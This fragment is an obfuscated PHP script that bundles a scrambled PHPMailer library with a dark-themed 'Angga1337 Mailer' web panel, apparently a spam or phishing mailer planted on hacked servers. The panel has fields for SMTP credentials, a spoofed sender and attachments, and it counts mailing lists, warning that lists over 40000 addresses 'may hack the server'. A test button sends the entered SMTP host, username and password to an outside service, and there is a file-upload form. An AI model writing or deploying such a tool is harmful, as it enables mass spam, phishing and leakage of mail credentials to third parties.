!= $O3954)) { goto O6897; } goto O7388; O6272: return true; goto O4708; O4957: return false; goto O4630; O4847: return false; goto O2442; O0961: O0578: goto O0177; O3858: if (!(empty($O3954) or !is_string($O3954) or strlen($O3954) > 256)) { goto O7828; } goto O4847; O4630: } protected function o0266($O6432) { goto O5908; O1058: if (!array_key_exists($O6432, $this->O3473)) { goto O0282; } goto O5896; O5896: if (!("smtp_connect_failed" == $O6432)) { goto O1969; } goto O5996; O3362: return $O6432; goto O8129; O6391: return $this->O3473[$O6432]; goto O8022; O5996: return $this->O3473[$O6432] . " https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting"; goto O1378; O1378: O1969: goto O6391; O5908: if (!(count($this->O3473) < 1)) { goto O3796; } goto O4713; O4713: $this->O5460("en"); goto O5367; O5367: O3796: goto O1058; O8022: O0282: goto O3362; O8129: } public function o7152() { return $this->O5087 > 0; } public function O4956($O3333, $O1459 = null) { goto O7815; O3553: $this->O0111[] = [$O3333, $O1459]; goto O8442; O8236: $this->O0111[] = explode(":", $O3333, 2); goto O7361; O7361: O3466: goto O5966; O1419: O6862: goto O8236; O8442: goto O3466; goto O1419; O7815: if (null === $O1459) { goto O6862; } goto O3553; O5966: } public function O4952() { return $this->O0111; } public function O5637($O6131, $O1358 = '', $O6292 = false) { goto O1838; O1231: O1515: goto O8751; O4437: if (!(strlen($O1358) > 1 && "/" != substr($O1358, -1))) { goto O1833; } goto O8879; O1838: preg_match_all("/(src|background)=["'](.*)["']/Ui", $O6131, $O9975); goto O3580; O1618: $this->O1077 = "This is an HTML-only message. To view it, activate HTML in your email application." . static::$O1517; goto O7469; O7469: O5475: goto O1772; O8879: $O1358 .= "/"; goto O8019; O5124: $this->O1892 = static::O8623($O6131); goto O7199; O8751: $this->isHTML(true); goto O5124; O8019: O1833: goto O1748; O1772: return $this->O1892; goto O8370; O7199: $this->O1077 = static::O8623($this->O2116($O6131, $O6292)); goto O5199; O3580: if (!array_key_exists(2, $O9975)) { goto O1515; } goto O4437; O5199: if ($this->O2585()) { goto O5475; } goto O1618; O1748: foreach ($O9975[2] as $O2307 => $O6125) { goto O4326; O8407: $O8413 = ''; goto O1828; O1224: $O6127 = static::O2030($O6125, PATHINFO_BASENAME); goto O6912; O8990: O4200: goto O6363; O6363: if (!(!empty($O1358) and strpos($O6125, "..") === false and 0 !== strpos($O6125, "cid:") and !preg_match("#^[a-z][a-z0-9+.-]*:?//#i", $O6125))) { goto O0390; } goto O1224; O8550: $O1358 .= "/"; goto O7207; O1330: $O0305 = hash("sha256", $O6125) . "@phpmailer.0"; goto O3178; O4211: $O5016 = rawurldecode($O4014[3]); goto O1998; O2268: $O6131 = preg_replace("/" . $O9975[1][$O2307] . "=["']" . preg_quote($O6125, "/") . "["']/Ui", $O9975[1][$O2307] . "="cid:" . $O0305 . """, $O6131); goto O9416; O7207: O7460: goto O5985; O3865: $O0305 = hash("sha256", $O5016) . "@phpmailer.0"; goto O9615; O6007: if ('' == $O4014[2]) { goto O5730; } goto O0474; O5221: O5730: goto O4211; O0474: goto O9804; goto O9429; O9632: O0390: goto O7637; O1998: O0551: goto O3865; O4912: $this->O9584($O5016, $O0305, "embed" . $O2307, static::O8717, $O4014[1]); goto O2084; O9429: goto O0551; goto O6034; O6034: O6012: goto O7840; O3394: goto O0551; goto O5221; O2084: O6389: goto O2634; O7637: O9804: goto O4058; O9615: if ($this->O5156($O0305)) { goto O6389; } goto O4912; O0360: goto O9804; goto O8990; O5457: $O8413 .= "/"; goto O7483; O7840: $O5016 = base64_decode($O4014[3]); goto O3394; O6912: $O8413 = dirname($O6125); goto O6404; O2634: $O6131 = str_replace($O9975[0][$O2307], $O9975[1][$O2307] . "="cid:" . $O0305 . """, $O6131); goto O0360; O5985: if (!(strlen($O8413) > 1 and "/" != substr($O8413, -1))) { goto O7346; } goto O5457; O7019: if (count($O4014) == 4 and static::O8717 == $O4014[2]) { goto O6012; } goto O6007; O2248: if (!$this->O3695($O1358 . $O8413 . $O6127, $O0305, $O6127, static::O8717, static::o2788((string) static::o2030($O6127, PATHINFO_EXTENSION)))) { goto O6988; } goto O2268; O3178: if (!(strlen($O1358) > 1 and "/" != substr($O1358, -1))) { goto O7460; } goto O8550; O1828: O8105: goto O1330; O4326: if (!preg_match("#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#", $O6125, $O4014)) { goto O4200; } goto O7019; O9416: O6988: goto O9632; O7483: O7346: goto O2248; O6404: if (!("." == $O8413)) { goto O8105; } goto O8407; O4058: } goto O5670; O5670: O2937: goto O1231; O8370: } public function O2116($O4791, $O6292 = false) { goto O9750; O9750: if (!is_callable($O6292)) { goto O8406; } goto O9153; O6251: O8406: goto O7561; O9153: return call_user_func($O6292, $O4791); goto O6251; O7561: return html_entity_decode(trim(strip_tags(preg_replace("/<(head|title|style|script)[^>]*>.*?<\/\1>/si", '', $O4791))), ENT_QUOTES, $this->O0610); goto O8534; O8534: } public static function o2788($O6767 = '') { goto O0651; O5304: O2358: goto O7215; O2376: return $O9267[$O6767]; goto O5304; O0651: $O9267 = ["xl" => "application/excel", "js" => "application/javascript", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "bin" => "application/macbinary", "doc" => "application/msword", "word" => "application/msword", "xlsx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "xltx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.template", "potx" => "application/vnd.openxmlformats-officedocument.presentationml.template", "ppsx" => "application/vnd.openxmlformats-officedocument.presentationml.slideshow", "pptx" => "application/vnd.openxmlformats-officedocument.presentationml.presentation", "sldx" => "application/vnd.openxmlformats-officedocument.presentationml.slide", "docx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "dotx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.template", "xlam" => "application/vnd.ms-excel.addin.macroEnabled.12", "xlsb" => "application/vnd.ms-excel.sheet.binary.macroEnabled.12", "class" => "application/octet-stream", "dll" => "application/octet-stream", "dms" => "application/octet-stream", "exe" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "psd" => "application/octet-stream", "sea" => "application/octet-stream", "so" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "mif" => "application/vnd.mif", "xls" => "application/vnd.ms-excel", "ppt" => "application/vnd.ms-powerpoint", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "gtar" => "application/x-gtar", "php3" => "application/x-httpd-php", "php4" => "application/x-httpd-php", "php" => "application/x-httpd-php", "phtml" => "application/x-httpd-php", "phps" => "application/x-httpd-php-source", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "tar" => "application/x-tar", "tgz" => "application/x-tar", "xht" => "application/xhtml+xml", "xhtml" => "application/xhtml+xml", "zip" => "application/zip", "mid" => "audio/midi", "midi" => "audio/midi", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "m4a" => "audio/mp4", "mpga" => "audio/mpeg", "aif" => "audio/x-aiff", "aifc" => "audio/x-aiff", "aiff" => "audio/x-aiff", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "mka" => "audio/x-matroska", "bmp" => "image/bmp", "gif" => "image/gif", "jpeg" => "image/jpeg", "jpe" => "image/jpeg", "jpg" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tiff", "webp" => "image/webp", "heif" => "image/heif", "heifs" => "image/heif-sequence", "heic" => "image/heic", "heics" => "image/heic-sequence", "eml" => "message/rfc822", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "shtml" => "text/html", "log" => "text/plain", "text" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "vcf" => "text/vcard", "vcard" => "text/vcard", "ics" => "text/calendar", "xml" => "text/xml", "xsl" => "text/xml", "wmv" => "video/x-ms-wmv", "mpeg" => "video/mpeg", "mpe" => "video/mpeg", "mpg" => "video/mpeg", "mp4" => "video/mp4", "m4v" => "video/mp4", "mov" => "video/quicktime", "qt" => "video/quicktime", "rv" => "video/vnd.rn-realvideo", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie", "webm" => "video/webm", "mkv" => "video/x-matroska"]; goto O4372; O7215: return "application/octet-stream"; goto O6636; O4372: $O6767 = strtolower($O6767); goto O5441; O5441: if (!array_key_exists($O6767, $O9267)) { goto O2358; } goto O2376; O6636: } public static function O6672($O6127) { goto O2182; O2182: $O4479 = strpos($O6127, "?"); goto O5362; O2488: O7648: goto O8606; O4343: $O6127 = substr($O6127, 0, $O4479); goto O2488; O8606: $O6767 = static::O2030($O6127, PATHINFO_EXTENSION); goto O4046; O5362: if (!(false !== $O4479)) { goto O7648; } goto O4343; O4046: return static::O2788($O6767); goto O1956; O1956: } public static function O2030($O4935, $O4868 = null) { goto O8561; O0669: O1104: goto O5919; O8985: $O5130 = []; goto O6449; O8500: $O1301["filename"] = $O5130[3]; goto O6458; O6647: $O1301["extension"] = $O5130[5]; goto O8834; O8939: $O1301["dirname"] = $O5130[1]; goto O0669; O8834: O1432: goto O5112; O9271: switch ($O4868) { case PATHINFO_DIRNAME: case "dirname": return $O1301["dirname"]; case PATHINFO_BASENAME: case "basename": return $O1301["basename"]; case PATHINFO_EXTENSION: case "extension": return $O1301["extension"]; case PATHINFO_FILENAME: case "filename": return $O1301["filename"]; default: return $O1301; } goto O1633; O0755: $O1301["basename"] = $O5130[2]; goto O4683; O8561: $O1301 = ["dirname" => '', "basename" => '', "extension" => '', "filename" => '']; goto O8985; O5919: if (!array_key_exists(2, $O5130)) { goto O4309; } goto O0755; O6449: if (!preg_match("#^(.*?)[\\/]*(([^/\\]*?)(\.([^.\\/]+?)|))[\\/.]*$#m", $O4935, $O5130)) { goto O2136; } goto O5079; O4683: O4309: goto O9227; O9227: if (!array_key_exists(5, $O5130)) { goto O1432; } goto O6647; O1633: O8466: goto O8064; O5079: if (!array_key_exists(1, $O5130)) { goto O1104; } goto O8939; O6458: O9224: goto O0893; O0893: O2136: goto O9271; O5112: if (!array_key_exists(3, $O5130)) { goto O9224; } goto O8500; O8064: O5265: goto O3565; O3565: } public function set($O3333, $O1459 = '') { goto O0363; O0363: if (!property_exists($this, $O3333)) { goto O4134; } goto O7590; O7590: $this->{$O3333} = $O1459; goto O4698; O7356: return false; goto O7043; O7869: O4134: goto O4901; O4901: $this->o8188($this->o0266("variable_set") . $O3333); goto O7356; O4698: return true; goto O7869; O7043: } public function O3957($O6471) { return trim(str_replace(["
", "
"], '', $O6471)); } public static function o8623($O2685, $O9407 = null) { goto O4469; O1706: $O2685 = str_replace("\xa", $O9407, $O2685); goto O2587; O6543: return $O2685; goto O8409; O2115: $O2685 = str_replace(["
\xa", "
"], "\xa", $O2685); goto O0558; O3792: O0680: goto O2115; O4469: if (!(null === $O9407)) { goto O0680; } goto O1485; O0558: if (!("\xa" !== $O9407)) { goto O9199; } goto O1706; O1485: $O9407 = static::$O1517; goto O3792; O2587: O9199: goto O6543; O8409: } public static function o0181() { return static::$O1517; } protected static function o1440($O3949) { static::$O1517 = $O3949; } public function o0015($O7405, $O9911, $O7497, $O5242 = '') { goto O2448; O2448: $this->O6015 = $O7405; goto O9248; O9248: $this->O8187 = $O9911; goto O0873; O0873: $this->O3614 = $O7497; goto O7601; O7601: $this->O9194 = $O5242; goto O2309; O2309: } public function o6477($O7171) { goto O6374; O8686: O4504: goto O2894; O1830: $O8240 .= "=" . sprintf("%02X", $O8105); goto O4071; O0554: O0674: goto O1511; O4071: goto O0674; goto O8686; O2070: goto O6747; goto O8494; O6374: $O8240 = ''; goto O1002; O0851: if (!($O8411 < $O1432)) { goto O3689; } goto O8179; O5922: ++$O8411; goto O2070; O4508: return $O8240; goto O6711; O2894: $O8240 .= $O7171[$O8411]; goto O0554; O8179: $O8105 = ord($O7171[$O8411]); goto O2498; O1511: O3188: goto O5922; O8494: O3689: goto O4508; O1454: O6747: goto O0851; O7074: $O8411 = 0; goto O1454; O1002: $O1432 = strlen($O7171); goto O7074; O2498: if (0x21 <= $O8105 and $O8105 <= 0x3a or $O8105 == 0x3c or 0x3e <= $O8105 and $O8105 <= 0x7e) { goto O4504; } goto O1830; O6711: } public function o2576($O4006) { goto O5895; O4426: openssl_pkey_free($O9831); goto O5949; O3245: O3048: goto O0859; O3586: O3034: goto O4923; O3614: openssl_pkey_free($O9831); goto O1599; O5949: return base64_encode($O4565); goto O6198; O2797: O5095: goto O8907; O0859: if (!openssl_sign($O4006, $O4565, $O9831, "sha256WithRSAEncryption")) { goto O8038; } goto O4426; O8907: $O9831 = openssl_pkey_get_private($O2053, $this->O0821); goto O3245; O3976: throw new Exception($this->O0266("extension_missing") . "openssl"); goto O8086; O9947: goto O3048; goto O2797; O6198: O8038: goto O3614; O9780: if (!$this->O0454) { goto O0977; } goto O3976; O4923: $O2053 = !empty($this->O1170) ? $this->O1170 : file_get_contents($this->O2814); goto O7839; O7839: if ('' != $this->O0821) { goto O5095; } goto O5352; O1149: return ''; goto O3586; O1599: return ''; goto O1897; O8086: O0977: goto O1149; O5895: if (defined("PKCS7_TEXT")) { goto O3034; } goto O9780; O5352: $O9831 = openssl_pkey_get_private($O2053); goto O9947; O1897: } public function o2378($O4006) { goto O1107; O1107: $O4006 = preg_replace("/\r\n[ \t]+/", " ", $O4006); goto O7540; O1819: return implode("
", $O7040); goto O2995; O7540: $O7040 = explode("
", $O4006); goto O6431; O6016: O4137: goto O1819; O6431: foreach ($O7040 as $O6432 => $O8240) { goto O1755; O4474: O6906: goto O0513; O4266: $O1459 = preg_replace("/[ \t]{2,}/", " ", $O1459); goto O6587; O1022: goto O6906; goto O0383; O1755: if (!(strpos($O8240, ":") === false)) { goto O4897; } goto O1022; O3036: list($O9271, $O1459) = explode(":", $O8240, 2); goto O1814; O0383: O4897: goto O3036; O6587: $O7040[$O6432] = trim($O9271, " 	") . ":" . trim($O1459, " \x9"); goto O4474; O1814: $O9271 = strtolower($O9271); goto O4266; O0513: } goto O6016; O2995: } public function o5114($O5285) { goto O1194; O9829: O0246: goto O1332; O4887: return rtrim($O5285, "\xd\xa") . "\xd\xa"; goto O5622; O5883: return "
"; goto O9829; O1332: $O5285 = static::O8623($O5285, "
\xa"); goto O4887; O1194: if (!empty($O5285)) { goto O0246; } goto O5883; O5622: } public function o4747($O9625, $O6026, $O5285) { goto O5305; O7396: if (!$this->O4779) { goto O7314; } goto O3720; O5402: O7090: goto O9740; O3563: $O1398 = " i=" . $this->O7246 . ";"; goto O7682; O3827: $O0135 = ''; goto O6320; O9740: $O2728 = "DKIM-Signature: v=1; a=" . $O0218 . "; q=" . $O3903 . "; l=" . $O8895 . "; s=" . $this->O1910 . ";\xd
" . " t=" . $O2788 . "; c=" . $O4212 . ";
\xa" . " h=From:To:Date:Subject" . $O4493 . ";
" . " d=" . $this->O8561 . ";" . $O1398 . "
\xa" . $O0135 . " bh=" . $O6402 . ";\xd\xa" . " b="; goto O8691; O9711: foreach ($O0179 as $O5269) { goto O7833; O1348: $O4657 = $O5269; goto O7657; O4950: ${$O8112} .= $O5269; goto O3151; O2745: $O8112 = ''; goto O5952; O3151: O1844: goto O9005; O9642: O3361: goto O6859; O4322: goto O6455; goto O9642; O1639: $O9365 = $O5269; goto O5184; O4777: if (!empty($this->O9969)) { goto O5178; } goto O6516; O1759: O4884: goto O4727; O1579: O5017: goto O7842; O4171: foreach ($this->O9969 as $O8357) { goto O9587; O7381: foreach ($this->O0111 as $O4583) { goto O3005; O3005: if (!($O4583[0] === $O8357)) { goto O5831; } goto O9412; O9710: O5831: goto O9439; O9439: O5735: goto O6113; O9412: $O4542 = trim($O4583[0]) . ": " . $this->o1008(trim($O4583[1])); goto O3802; O3802: goto O5243; goto O9710; O6113: } goto O5655; O7707: $O8112 = ''; goto O6395; O5655: O5243: goto O0608; O9175: $O4542 = $O5269; goto O7381; O9587: if (!(strpos($O5269, $O8357 . ":") === 0)) { goto O4254; } goto O9175; O4408: O8229: goto O6883; O0608: $O5363[$O8357] = $O4542; goto O7707; O6395: goto O5017; goto O2246; O2246: O4254: goto O4408; O6883: } goto O1579; O6460: O3016: goto O4950; O5510: $O8112 = "to_header"; goto O4726; O1309: O5178: goto O4171; O4792: O0069: goto O1348; O4726: goto O6455; goto O2188; O5952: goto O1844; goto O6460; O6516: if (!empty(${$O8112}) and strpos($O5269, " =?") === 0) { goto O3016; } goto O2745; O3935: if (strpos($O5269, "To:") === 0) { goto O3361; } goto O1744; O7833: if (strpos($O5269, "From:") === 0) { goto O0069; } goto O3935; O7842: O6455: goto O1759; O1744: if (strpos($O5269, "Date:") === 0) { goto O6736; } goto O4777; O9005: goto O6455; goto O4792; O5184: $O8112 = "date_header"; goto O5177; O2188: O6736: goto O1639; O7657: $O8112 = "from_header"; goto O4322; O6859: $O4449 = $O5269; goto O5510; O5177: goto O6455; goto O1309; O4727: } goto O4488; O6183: $O6402 = base64_encode(pack("H*", hash("sha256", $O5285))); goto O5161; O6009: $O4493 = ''; goto O3518; O1588: $O9365 = ''; goto O4101; O6974: $O4657 = ''; goto O8307; O2558: $O2298 = $this->o2576($O2017); goto O9938; O5625: $O1031 = ''; goto O9711; O7533: $O6026 = str_replace("|", "=7C", $this->o6477($O4752)); goto O1837; O3423: $O5285 = $this->o5114($O5285); goto O7078; O6295: $O0179 = explode(static::$O1517, $O9625); goto O6974; O3518: $O3055 = ''; goto O5625; O3622: O7314: goto O3423; O7682: goto O7090; goto O6905; O7787: $O0497 = str_replace("|", "=7C", $this->O6477($O9365)); goto O7533; O3720: $O1456 = str_replace("|", "=7C", $this->O6477($O4657)); goto O7413; O4101: $O8112 = ''; goto O3827; O9938: return static::o8623($O2728 . $O2298) . static::$O1517; goto O6462; O5161: if ('' == $this->O7246) { goto O5490; } goto O3563; O6320: $O5363 = []; goto O6009; O1141: $O4212 = "relaxed/simple"; goto O9625; O8691: $O2017 = $this->o2378($O4657 . "\xd
" . $O4449 . "\xd\xa" . $O9365 . "
" . $O4752 . "\xd\xa" . $O3055 . $O2728); goto O2558; O9625: $O3903 = "dns/txt"; goto O0942; O7906: $O4752 = "Subject:{$O6026}"; goto O6295; O2605: $O1398 = ''; goto O5402; O5291: foreach ($O5363 as $O6432 => $O1459) { goto O0694; O0694: $O4493 .= ":" . $O6432; goto O0256; O0256: $O3055 .= $O1459 . "
"; goto O4196; O4840: O0632: goto O6046; O8026: O2837: goto O4840; O4196: if (!$this->O4779) { goto O2837; } goto O7644; O7644: $O1031 .= " |" . str_replace("|", "=7C", $this->O6477($O1459)) . ";\xd
"; goto O8026; O6046: } goto O1362; O1837: $O0135 = "z={$O1456}
" . "|{$O3617}\xd\xa" . "|{$O0497}\xd\xa" . "|{$O6026};
\xa" . $O1031; goto O3622; O0942: $O2788 = time(); goto O7906; O5305: $O0218 = "rsa-sha256"; goto O1141; O8307: $O4449 = ''; goto O1588; O7413: $O3617 = str_replace("|", "=7C", $this->o6477($O4449)); goto O7787; O7078: $O8895 = strlen($O5285); goto O6183; O4488: O1144: goto O5291; O6905: O5490: goto O2605; O1362: O0923: goto O7396; O6462: } public static function o1784($O6471) { return (bool) preg_match("/^(.{" . (self::O6446 + strlen(static::$O1517)) . ",})/m", $O6471); } public function o6831() { return $this->O1431; } public function O9824() { return $this->O0958; } public function o1086() { return $this->O3390; } public function o8223() { return $this->O9879; } public function O7275() { return $this->O8684; } protected function O6038($O2434, $O3617, $O8184, $O2467, $O6026, $O5285, $O1456, $O8302) { goto O9998; O7642: call_user_func($this->O9140, $O2434, $O3617, $O8184, $O2467, $O6026, $O5285, $O1456, $O8302); goto O2460; O9998: if (!(!empty($this->O9140) and is_callable($this->O9140))) { goto O6521; } goto O7642; O2460: O6521: goto O6184; O6184: } public function o9816() { return $this->O4337; } public function O0461(O1184 $O9783) { $this->O4337 = $O9783; } } goto O9687; O9417: $O6878 = $_POST["suser"]; goto O2074; O4783: $_SESSION[$O5068] = $O2889; goto O6752; O7889: $O3001->O5604 = true; goto O1085; O7248: $O8271 = count($O4166); goto O7596; O6508: O1307: goto O9059; O5300: $O3082 = o5768($_POST["messageType"]); goto O0800; O7905: $O2705 = "checked"; goto O5273; O6752: O9502: goto O6440; O9000: function O0201($O1060) { goto O2276; O7117: $O2889 = ''; goto O2098; O2276: $O4188 = rand(12, 25); goto O7117; O4077: if (!($O8411 < $O4188)) { goto O9352; } goto O5926; O9555: O9352: goto O1048; O2098: $O8411 = 0; goto O9339; O2451: goto O6488; goto O9555; O5926: $O2889 .= $O1060[rand() % strlen($O1060)]; goto O9984; O1589: $O8411++; goto O2451; O9339: O6488: goto O4077; O9984: O2767: goto O1589; O1048: return $O2889; goto O2703; O2703: } goto O2205; O8728: $O6594 = $_POST["sssl"]; goto O8475; O5273: O2808: goto O2864; O0800: $O4957 = o5768($_POST["messageLetter"]); goto O6167; O4160: echo "<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">"; goto O3703; O5078: $O6026 = o5768($_POST["subject"]); goto O3690; O3338: $O4957 = urldecode($O4957); goto O0929; O9012: $O0360 = O5768($_POST["senderName"]); goto O0254; O5994: $O3001->O8164 = $O3059; goto O6413; O6381: if (!($_POST["_upl"] == "Upload")) { goto O4305; } goto O8247; O9705: O7321: goto O8913; O2074: $O0344 = $_POST["spass"]; goto O8704; O8504: print "    <div class="col-lg-12">"; goto O0298; O2809: $O3001->O6663 = $O6878; goto O3146; O8727: O9584: goto O7905; O4318: class o8165 extends Exception { public function O6026() { $O1390 = "<strong>" . $this->getMessage() . "</strong><br />
"; return $O1390; } } goto O4415; O8291: $O3703 = stripslashes($_POST["encode"]); goto O2370; O9385: session_start(); goto O5721; O3783: exit; goto O2316; O0799: O6772: goto O4783; O5614: $O7388 = o5768($_POST["senderEmail"]); goto O9012; O8288: O1873: goto O1754; O6444: goto O9142; goto O9705; O4750: print "\xd\xa<script>\xd
\xd\xa	window.onload = funchange;
	var alt = false;\x9
	function funchange(){
\x9\x9var etext = document.getElementById("emailList").value;\xd\xa\x9\x9var myArray=new Array(); \xd\xa		myArray = etext.split("\n");
\x9	document.getElementById("enum").innerHTML=myArray.length+"<br />";
\xa		if(!alt && myArray.length > 40000){\xd
\x9\x9\x9alert("If Mail list More Than 40000 Emails This May Hack The Server");\xd\xa	\x9	alt = true;
\x9\x9}
\xa	\x9\xd
\x9}\xd\xa</script>\xd\xa<style>\xd

	input, select, textarea{
\xa        color: #ff0000;\xd
    }\xd\xa
    body {\xd\xa        background-color: #0a0a0a;\xd\xa    }\xd\xa


	pre {\xd
        padding: 1em;
\xa        white-space: unset;\xd
    }
\xd\xa    .neither {
        font-weight: bold;\xd\xa        margin-bottom: 1em;
\xa    }\xd\xa\xd
    .client {
        color: #48ff48;\xd\xa    }
\xa
    .server {
\xa        color: #2dd7ff;
\xa    }

\xa    .error {\xd\xa        color: #ff3a3a;\xd\xa    }
\xa
    #status {\xd\xa        margin-top: 2em;\xd\xa        display: none;\xd
    }\xd\xa
\xa    .spinner {\xd\xa        margin: 1em 0;\xd\xa        width: 70px;
        text-align: center;
\xa    }
\xa
\xa        .spinner > div {\xd
            width: 18px;
\xa            height: 18px;\xd
            background-color: #333;\xd
            border-radius: 100%;
\xa            display: inline-block;
            -webkit-animation: sk-bouncedelay 1.4s infinite ease-in-out both;
            animation: sk-bouncedelay 1.4s infinite ease-in-out both;\xd
        }
\xa
\xa        .spinner .bounce1 {
\xa            -webkit-animation-delay: -0.32s;
            animation-delay: -0.32s;
\xa        }
\xa
        .spinner .bounce2 {\xd\xa            -webkit-animation-delay: -0.16s;\xd
            animation-delay: -0.16s;
\xa        }\xd\xa
    @-webkit-keyframes sk-bouncedelay {
\xa        0%, 80%, 100% {\xd\xa            -webkit-transform: scale(0);\xd
        }
\xd
        40% {
            -webkit-transform: scale(1.0);
\xa        }
\xa    }
\xa
    @keyframes sk-bouncedelay {\xd\xa        0%, 80%, 100% {\xd\xa            -webkit-transform: scale(0);
            transform: scale(0);
        }\xd

\xa        40% {
\xa            -webkit-transform: scale(1.0);
\xa            transform: scale(1.0);\xd
        }
\xa    }
\xa</style>
\xa\xd\xa
\xa<script>\xd
$(document).ready(function(){

    var testId;
\xa\xd\xa    function updateStatus() {
        $("#status, #spinner").show();\xd\xa        $.ajax({\xd
            url: "https://www.gmass.co/Smtp/TestStatus",
            type: "get",\xd\xa            data: { testId: testId },\xd\xa            dataType: "html",\xd
            success: function (ret) {\xd
                if (ret != "") {
                    $("#log").html(ret);
                    setTimeout(updateStatus, 100);\xd\xa                } else {
                    $(".spinner").hide();
\xa                }\xd\xa            }
        });
    }
\xa\xd\xa    $("#test").on("click", function () {
        var host = $("#shost").val();\xd
        var usr = $("#suser").val();\xd
        var pass = $("#spass").val();
        var port = $("#sport").val();\xd\xa        var from = "test@"+host;
\xa        var to = $("#checkeremail").val();;\xd
        var sdata = "{\"SmtpServer\":\""+host+"\",\"port\":\""+port+"\",\"sso\":\"Auto\",\"username\":\""+usr+"\",\"password\":\""+pass+"\",\"from\":\""+from+"\",\"to\":\""+to+"\"}";
        sdata = JSON.parse(sdata);\xd\xa        
        $.ajax({
\xa            url: "https://www.gmass.co/Smtp/CreateTest",\xd
            type: "post",
            dataType: "json",
            data: sdata,
            success: function (guid) {\xd
                testId = guid;
                $("#log").html("");\xd
                updateStatus();\xd
            }\xd\xa        })
\xd
    });
\xa
\xa  \xd
    $("#checkbox1").prop("checked", true);\xd

    
    $("#checkbox1").change(function(){\xd
    if(this.checked){\xd\xa    $("#checkbox1").attr("value", "1");    
\xa    $("#autoUpdate").fadeIn("slow");\xd
    $("#autoUpdate2").fadeIn("slow");
\xa    $("#autoUpdate3").fadeIn("slow");}\xd
    else{\xd
    $("#checkbox1").attr("value", "1"); 
    $("#autoUpdate").fadeOut("slow");
\xa    $("#autoUpdate2").fadeOut("slow");\xd
    $("#autoUpdate3").fadeOut("slow");
\xa    }\xd
    });\xd


\xa    });
\xa 
    </script>
\xa
\xa        <div class="container col-lg-6">
\xa         <h3><img src="https://static.wikia.nocookie.net/akamegakill/images/f/fb/Night_Raid_Logo.png" height="90px" width="75px"> <font style="color:#b5b5b5;"> Angga1337 Mailer </font> <small><font style="color:white;"></font></small></h3>\xd
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
\xa        <p><input id="checkbox1" type="checkbox" name="usesmtp" value=""><font style="color:#b5b5b5;">SMTP<br></p>
\xa        <div class="row" id="autoUpdate">
\xa            <div class="form-group col-lg-6 "><label for="shost">SMTP Hostname</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;"  class="form-control  input-sm " id="shost" name="shost" value="" . $O4103 . ""></div>
            <div class="form-group col-lg-6 "><label for="sport">SMTP Port</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="sport" name="sport" value="" . $O3059 . ""></div>\xd\xa        </div>\xd
        <div class="row" id="autoUpdate2">\xd
            <div class="form-group col-lg-6 "><label for="suser">SMTP Username</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="suser" name="suser" value="" . $O6878 . ""></div>
            <div class="form-group col-lg-6 "><label for="spass">SMTP Password</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="spass" name="spass" value="" . $O0344 . ""></div>\xd\xa        </div>
        <div class="row" id="autoUpdate3">
        <div class="form-group col-lg-6 ">
\xa        <label for="encode">SMTP SECURE</label>\xd\xa        <select style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:b5b5b5" class="form-control input-sm" id="sssl" name="sssl">\xd\xa            <option value="true"  selected>TRUE</option>\xd
            <option value="false">FALSE</option>
\xa        </select> 
        
\xa
    </div>\xd\xa    <div class="form-group col-lg-4 "><label for="checkeremail">Checker Send To Email</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="checkeremail" name="checkeremail" value=""></div>
    <div class="form-group col-lg-2 "><label for="test"> &nbsp</label><input type="button" style="background-color:#930205;border-color:red"   class="form-control  btn btn-info " id="test" name="test" onclick="check()" value="TEST">   </div>
\xa\xd\xa        </div>\xd\xa        <hr><br><br>
\xa        <div class="row">
\xa        <div class="form-group col-lg-6 "><label for="senderEmail">From Email</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="" . $O7388 . ""></div>
\xa        <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="senderName" name="senderName" value="" . $O0360 . ""></div>\xd\xa    </div>\xd
    \xd\xa    <div class="row">\xd
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
\xd\xa                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="replyTo" name="replyTo" value="" . $O0655 . "" /></div>
\xa            </div>
\xa            <div class="row">
